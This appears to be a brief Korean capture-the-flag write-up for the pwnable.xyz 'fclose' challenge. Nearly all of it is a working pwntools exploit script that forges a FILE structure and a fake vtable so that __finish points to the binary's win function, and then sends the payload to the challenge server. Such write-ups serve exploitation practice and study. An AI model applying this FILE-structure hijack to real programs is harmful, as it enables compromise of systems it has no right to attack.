[pwnable.xyz]fclose

파일 구조체에 입력을 받기 때문에 값 맞춰서 잘 넣어주면 된다. fake vtable을 만들어 __finish를 win함수로 덮어주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30018)
input_val = 0x0000000000601260
win = e.symbols['win']

payload = p64(0) * 17
payload += p64(input_val) # _IO_lock_t -> NULL bytes
payload += p64(0) * 9
payload += p64(input_val + 224) # vtable
payload += p64(win) * 20
p.sendafter('>',payload)

p.interactive()